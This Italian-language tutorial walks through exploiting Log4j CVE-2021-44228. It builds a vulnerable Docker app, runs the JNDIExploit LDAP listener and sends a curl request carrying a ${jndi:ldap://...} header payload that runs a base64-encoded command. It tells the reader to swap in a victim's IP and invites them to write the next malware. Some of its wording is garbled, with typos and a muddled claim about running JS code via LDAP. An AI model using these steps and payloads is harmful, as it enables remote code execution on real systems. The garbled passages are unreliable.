
Tutorial passo-passo per sfruttare Log4j CVE-2021-44228 con app vulnerabile basata su Docker, listener JNDIExploit e iniezione di payload LDAP per esecuzione remota di codice.

È stata trovata una vulnerabilità di Remote Code Execution correlata alla libreria di logging Java Log4j.
CVE-2021-44228 Questa vulnerabilità ha suscitato grande scalpore nella comunità cyber globale; dal Wannacry non si era visto un impatto simile.
Si ritiene che la maggior parte delle applicazioni scritte in Java siano interessate e vulnerabili, in particolare i framework Apache tra cui Apache Struts2, Apache Solr, Apache Druid e Apache Flink. Inoltre, anche ElasticSearch, Flume, Logstash, Kafka, Netty, MyBatis e Spring-Boot-starter-log4j sono vulnerabili.
Alcuni dei prodotti e servizi più popolari su Internet - tra cui Apple iCloud, Amazon, Steam e Twitter - dipendono da questi framework per funzionare. Si ritiene che ciò includa anche un numero significativo di applicazioni enterprise e di cybersecurity.
Radware (servizi DDoS in tempo reale adattivi continui) ha dichiarato che solo il software che abilita e utilizza la sostituzione della ricerca dei messaggi di log4j è interessato. Dalla versione 2.15.0, la sostituzione della ricerca dei messaggi è disabilitata per impostazione predefinita, motivo per cui è necessaria l'applicazione di patch. Le versioni di Log4j 2 da 2.0-beta9 a 2.14.1 sono tutte vulnerabili e sfruttabili.


prima di tutto, questa guida è compatibile per funzionare con la VM Kali Linux ed eseguire il listener Java con il seguente comando, come mostrato a sinistra nella guida video. inizia con il build dell'applicazione vulnerabile Docker e poi eseguila. quindi facciamolo.
docker build . -t vulnerable-appil passo successivo, in realtà è eseguire l'app vulnerabile che è stata distribuita.
*quindi, il comando successivo:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
e ora lo script Spring dovrebbe essere eseguito come nella guida video.
per ora, per ottenere l'impronta digitale del server LDAP, abbiamo solo bisogno di creare il link LDAP e il gioco è fatto. Prima, scarica lo strumento di exploit JNDIExploit-1.2. l'URL per scaricare JNDIExploit è stato cancellato da GitHub, per scaricarlo dall'archivio (URL sotto). ottieni il seguente URL per scaricarlo dall'archivio JNDIExploitArchiveUrl
quindi, facciamolo
decomprimi il JNDIExploit.
esegui il listener Java: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "replace_with_ypure_IP-ADDR" -p 8888.
nota: cancella "replace_with your IP-addr" e inserisci il tuo IP listener. (Non includere le parentesi).
il passo successivo per attivare l'exploit, esegui il seguente comando:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
nota: sostituisci "ip-addr" con il tuo IP locale che è in ascolto tramite Java e sostituisci anche 127.0.0.1 con l'IP della vittima, e questo è tutto. Riceverai la stringa hello-world codificata in base64. In questo modo puoi fare qualsiasi manipolazione. Scopri più tecniche da usare, Minecraft, puoi fare manipolazioni tramite lo strumento BurpSuite per servizi aperti sul computer ecc. Immagina questo: entra in modalità produttiva e aumenta la tua improvvisazione, componi il prossimo malware.
puoi sostituire la stringa base64 (hello-world) con codice JS eseguibile compatibile per eseguire query tramite server LDAP.